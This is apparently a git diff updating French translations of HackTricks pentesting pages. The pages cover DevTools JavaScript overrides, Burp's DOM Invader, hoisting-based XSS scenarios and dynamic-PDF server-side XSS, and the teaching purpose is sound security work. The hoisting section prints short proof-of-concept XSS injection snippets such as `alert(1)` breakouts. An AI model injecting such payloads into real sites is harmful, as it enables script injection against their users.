Ensuite, dans "Outils de développement" --> "Sources", **sélectionnez le fichier** que vous voulez substituer et avec **un clic droit, sélectionnez "Enregistrer pour les substitutions"**.
|
||||
Ensuite, dans "Dev Tools" --> "Sources", **sélectionnez le fichier** que vous souhaitez remplacer et avec un **clic droit sélectionnez "Save for overrides"**.
|
||||
|
||||
![](<../../.gitbook/assets/image (649).png>)
|
||||
|
||||
Cela va **copier le fichier JS localement** et vous pourrez **modifier cette copie dans le navigateur**. Ajoutez simplement la commande **`debugger;`** où vous le souhaitez, **enregistrez** la modification et **rechargez** la page, et chaque fois que vous accédez à cette page web, **votre copie JS locale sera chargée** et votre commande de débogage maintenue à sa place :
|
||||
Cela va **copier le fichier JS localement** et vous pourrez **modifier cette copie dans le navigateur**. Ajoutez simplement la commande **`debugger;`** où vous le souhaitez, **enregistrez** le changement et **rechargez** la page, et chaque fois que vous accédez à cette page web **votre copie locale de JS sera chargée** et votre commande de débogueur maintenue à sa place :
|
||||
|
||||
![](<../../.gitbook/assets/image (648).png>)
|
||||
|
||||
|
@ -41,12 +43,14 @@ Cela va **copier le fichier JS localement** et vous pourrez **modifier cette cop
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,90 +2,92 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## DOM Invader
|
||||
|
||||
DOM Invader est un outil de navigateur installé dans le navigateur intégré de Burp. Il aide à **détecter les vulnérabilités DOM XSS** en utilisant diverses sources et cibles, y compris les messages web et la pollution de prototype. L'outil est préinstallé en tant qu'extension.
|
||||
DOM Invader est un outil de navigateur installé dans le navigateur intégré de Burp. Il aide à **détecter les vulnérabilités DOM XSS** en utilisant diverses sources et puits, y compris les messages web et la pollution de prototype. L'outil est préinstallé en tant qu'extension.
|
||||
|
||||
DOM Invader intègre un onglet dans le panneau DevTools du navigateur, ce qui permet de :
|
||||
DOM Invader intègre un onglet dans le panneau DevTools du navigateur permettant ce qui suit :
|
||||
|
||||
1. **Identifier les cibles contrôlables** sur une page web pour les tests DOM XSS, en fournissant des informations de contexte et de désinfection.
|
||||
2. **Enregistrer, modifier et renvoyer les messages web** envoyés via la méthode `postMessage()` pour les tests DOM XSS. DOM Invader peut également détecter automatiquement les vulnérabilités à l'aide de messages web spécialement conçus.
|
||||
3. Détecter les **sources de pollution de prototype côté client** et analyser les gadgets contrôlables envoyés vers des cibles risquées.
|
||||
4. Identifier les **vulnérabilités de clobbering DOM**.
|
||||
1. **Identification des puits contrôlables** sur une page web pour les tests DOM XSS, fournissant le contexte et les détails de la sanitisation.
|
||||
2. **Enregistrement, édition et renvoi des messages web** envoyés via la méthode `postMessage()` pour les tests DOM XSS. DOM Invader peut également détecter automatiquement les vulnérabilités en utilisant des messages web spécialement conçus.
|
||||
3. Détection des sources de **pollution de prototype côté client** et analyse des gadgets contrôlables envoyés aux puits risqués.
|
||||
4. Identification des vulnérabilités de **DOM clobbering**.
|
||||
|
||||
### L'activer
|
||||
### Activer
|
||||
|
||||
Dans le navigateur intégré de Burp, accédez à l'**extension Burp** et activez-la :
|
||||
Dans le navigateur intégré de Burp, allez à l'**extension Burp** et activez-la :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Actualisez ensuite la page et dans les **Dev Tools**, vous trouverez l'onglet **DOM Invader** :
|
||||
Maintenant, rafraîchissez la page et dans les **Dev Tools**, vous trouverez l'**onglet DOM Invader** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Injecter un canari
|
||||
### Injecter un Canary
|
||||
|
||||
Sur l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, qui est le canari**. Vous devez maintenant commencer à l'**injecter** dans différentes parties du web (paramètres, formulaires, URL...) et cliquer à chaque fois sur Rechercher. DOM Invader vérifiera si le **canari se termine dans une cible intéressante** qui pourrait être exploitée.
|
||||
Dans l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, c'est le Canary**. Vous devriez maintenant commencer à **l'injecter** dans différentes parties du web (paramètres, formulaires, URL...) et à chaque fois cliquer pour le rechercher. DOM Invader vérifiera si le **canary a terminé dans un puits intéressant** qui pourrait être exploité.
|
||||
|
||||
De plus, les options **Injecter les paramètres d'URL** et **Injecter les formulaires** ouvriront automatiquement un **nouvel onglet** en injectant le **canari** dans chaque **paramètre d'URL** et **formulaire** trouvé.
|
||||
De plus, les options **Inject URL params** et Inject forms ouvriront automatiquement un **nouvel onglet** **injectant** le **canary** dans chaque paramètre **URL** et **formulaire** trouvé.
|
||||
|
||||
### Injecter un canari vide
|
||||
### Injecter un Canary vide
|
||||
|
||||
Si vous voulez simplement trouver les cibles potentielles que la page pourrait avoir, même si elles ne sont pas exploitables, vous pouvez **rechercher un canari vide**.
|
||||
Si vous voulez juste trouver des puits potentiels que la page pourrait avoir, même s'ils ne sont pas exploitables, vous pouvez **rechercher un canary vide**.
|
||||
|
||||
### Messages web
|
||||
### Messages Post
|
||||
|
||||
DOM Invader permet de tester les DOM XSS à l'aide de messages web avec des fonctionnalités telles que :
|
||||
DOM Invader permet de tester les DOM XSS en utilisant des messages web avec des fonctionnalités telles que :
|
||||
|
||||
1. **Enregistrement des messages web** envoyés via `postMessage()`, similaire à l'enregistrement de l'historique des requêtes/réponses HTTP de Burp Proxy.
|
||||
2. **Modification** et **renvoi** des messages web pour tester manuellement les DOM XSS, similaire à la fonction de Burp Repeater.
|
||||
3. **Modification automatique** et envoi de messages web pour sonder les DOM XSS.
|
||||
1. **Enregistrement des messages web** envoyés via `postMessage()`, semblable à l'historique de logging des requêtes/réponses HTTP de Burp Proxy.
|
||||
2. **Modification** et **réémission** des messages web pour tester manuellement les DOM XSS, similaire à la fonction de Burp Repeater.
|
||||
3. **Altération automatique** et envoi de messages web pour sonder les DOM XSS.
|
||||
|
||||
#### Détails du message
|
||||
|
||||
Vous pouvez cliquer sur chaque message pour afficher des informations plus détaillées à son sujet, notamment si les propriétés `origin`, `data` ou `source` du message sont accessibles par le JavaScript côté client.
|
||||
Vous pouvez cliquer sur chaque message pour voir plus d'informations détaillées à son sujet, y compris si les propriétés `origin`, `data` ou `source` du message sont accédées par le JavaScript côté client.
|
||||
|
||||
* **`origin`** : Si les **informations d'origine du message ne sont pas vérifiées**, vous pouvez être en mesure d'envoyer des messages inter-domaines à l'**écouteur d'événements depuis un domaine externe arbitraire**. Mais si cela est vérifié, cela peut toujours être non sécurisé.
|
||||
* **`data`** : C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, la cible est inutile.
|
||||
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
* **`origin`** : Si **l'information d'origine du message n'est pas vérifiée**, vous pourriez être capable d'envoyer des messages cross-origin au gestionnaire d'événements **depuis un domaine externe arbitraire**. Mais si elle est vérifiée, cela pourrait toujours être insécurisé.
|
||||
* **`data`**: C'est là que le payload est envoyé. Si ces données ne sont pas utilisées, le puits est inutile.
|
||||
* **`source`**: Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
|
||||
#### Répondre à un message
|
||||
|
||||
1. Depuis la vue **Messages**, cliquez sur n'importe quel message pour ouvrir la boîte de dialogue des détails du message.
|
||||
2. Modifiez le champ **Data** selon vos besoins.
|
||||
3. Cliquez sur **Envoyer**.
|
||||
2. Modifiez le champ **Data** comme nécessaire.
|
||||
3. Cliquez sur **Send**.
|
||||
|
||||
### Pollution de prototype
|
||||
### Pollution de Prototype
|
||||
|
||||
DOM Invader peut également rechercher des **vulnérabilités de pollution de prototype**. Tout d'abord, vous devez l'activer :
|
||||
DOM Invader peut également rechercher des vulnérabilités de **Pollution de Prototype**. Tout d'abord, vous devez l'activer :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, il **recherchera les sources** qui vous permettent d'ajouter des propriétés arbitraires à **`Object.prototype`**.
|
||||
Ensuite, il **recherchera des sources** qui vous permettent d'ajouter des propriétés arbitraires à **`Object.prototype`**.
|
||||
|
||||
Si quelque chose est trouvé, un bouton **Test** apparaîtra pour **tester la source trouvée**. Cliquez dessus, un nouvel onglet apparaîtra, créez un objet dans la console et vérifiez si la propriété `testproperty` existe :
|
||||
Si quelque chose est trouvé, un bouton **Test** apparaîtra pour **tester la source trouvée**. Cliquez dessus, un nouvel onglet apparaîtra, créez un objet dans la console et vérifiez si la `testproperty` existe :
|
||||
```javascript
|
||||
let b = {}
|
||||
b.testproperty
|
||||
```
|
||||
Une fois que vous avez trouvé une source, vous pouvez **analyser les gadgets** :
|
||||
Une fois que vous avez trouvé une source, vous pouvez **scanner à la recherche d'un gadget** :
|
||||
|
||||
1. Dans la vue **DOM**, cliquez sur le bouton **Analyser les gadgets** à côté de toute source de pollution de prototype que DOM Invader a trouvée. DOM Invader ouvre un nouvel onglet et commence à analyser les gadgets appropriés.
|
||||
2. Dans le même onglet, ouvrez l'onglet **DOM Invader** dans le panneau DevTools. Une fois l'analyse terminée, la vue **DOM** affiche les éventuelles failles que DOM Invader a pu accéder via les gadgets identifiés. Dans l'exemple ci-dessous, une propriété de gadget appelée `html` a été transmise à la faille `innerHTML`.
|
||||
1. Depuis la vue **DOM**, cliquez sur le bouton **Scan for gadgets** à côté de toute source de pollution de prototype que DOM Invader a trouvée. DOM Invader ouvre un nouvel onglet et commence à scanner à la recherche de gadgets appropriés.
|
||||
2. Dans le même onglet, ouvrez l'onglet **DOM Invader** dans le panneau DevTools. Une fois le scan terminé, la vue **DOM** affiche tous les puits que DOM Invader a pu accéder via les gadgets identifiés. Dans l'exemple ci-dessous, une propriété de gadget appelée `html` a été passée au puits `innerHTML`.
|
||||
|
||||
## Substitution de DOM
|
||||
## DOM clobbering
|
||||
|
||||
Sur l'image précédente, il est possible de voir que l'analyse de la substitution de DOM peut être activée. Une fois activée, **DOM Invader commencera à rechercher des vulnérabilités de substitution de DOM**.
|
||||
Dans l'image précédente, il est possible de voir que le scan de DOM clobbering peut être activé. Une fois fait, **DOM Invader commencera à rechercher des vulnérabilités de DOM clobbering**.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -98,12 +100,14 @@ Sur l'image précédente, il est possible de voir que l'analyse de la substituti
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,12 +31,12 @@ Revenant à la description du hoisting par MDN, nous pouvons lire qu'il existe q
|
|||
|
||||
> 1. Pouvoir utiliser la valeur d'une variable dans sa portée avant la ligne où elle est déclarée. ("Hoisting de valeur")
|
||||
> 2. Pouvoir référencer une variable dans sa portée avant la ligne où elle est déclarée, sans générer une `ReferenceError`, mais la valeur est toujours `undefined`. ("Hoisting de déclaration")
|
||||
> 3. La déclaration de la variable entraîne des changements de comportement dans sa portée avant la ligne dans laquelle elle est déclarée.
|
||||
> 3. La déclaration de la variable provoque des changements de comportement dans sa portée avant la ligne dans laquelle elle est déclarée.
|
||||
> 4. Les effets secondaires d'une déclaration sont produits avant d'évaluer le reste du code qui la contient.
|
||||
|
||||
suivi de
|
||||
|
||||
> Les quatre déclarations de fonction ci-dessus sont hissées avec un comportement de type 1 ; la déclaration `var` est hissée avec un comportement de type 2 ; les déclarations [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), et [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) (également appelées collectivement _déclarations lexicales_) sont hissées avec un comportement de type 3 ; les déclarations [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) sont hissées avec un comportement de type 1 et de type 4.
|
||||
> Les quatre déclarations de fonction ci-dessus sont hissées avec un comportement de type 1 ; la déclaration `var` est hissée avec un comportement de type 2 ; les déclarations `let`, `const`, et `class` (également appelées collectivement _déclarations lexicales_) sont hissées avec un comportement de type 3 ; les déclarations `import` sont hissées avec un comportement de type 1 et type 4.
|
||||
|
||||
## Scénarios
|
||||
|
||||
|
@ -80,7 +82,7 @@ alert(1);
|
|||
test.cookie('leo','INJECTION')
|
||||
test['cookie','injection']
|
||||
```
|
||||
## Autres scénarios
|
||||
## Plus de scénarios
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
|
@ -142,12 +144,14 @@ let config;`-alert(1)-`//`+""
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,34 @@
|
|||
# XSS côté serveur (PDF dynamique)
|
||||
# Server Side XSS (Dynamic PDF)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## XSS côté serveur (PDF dynamique)
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
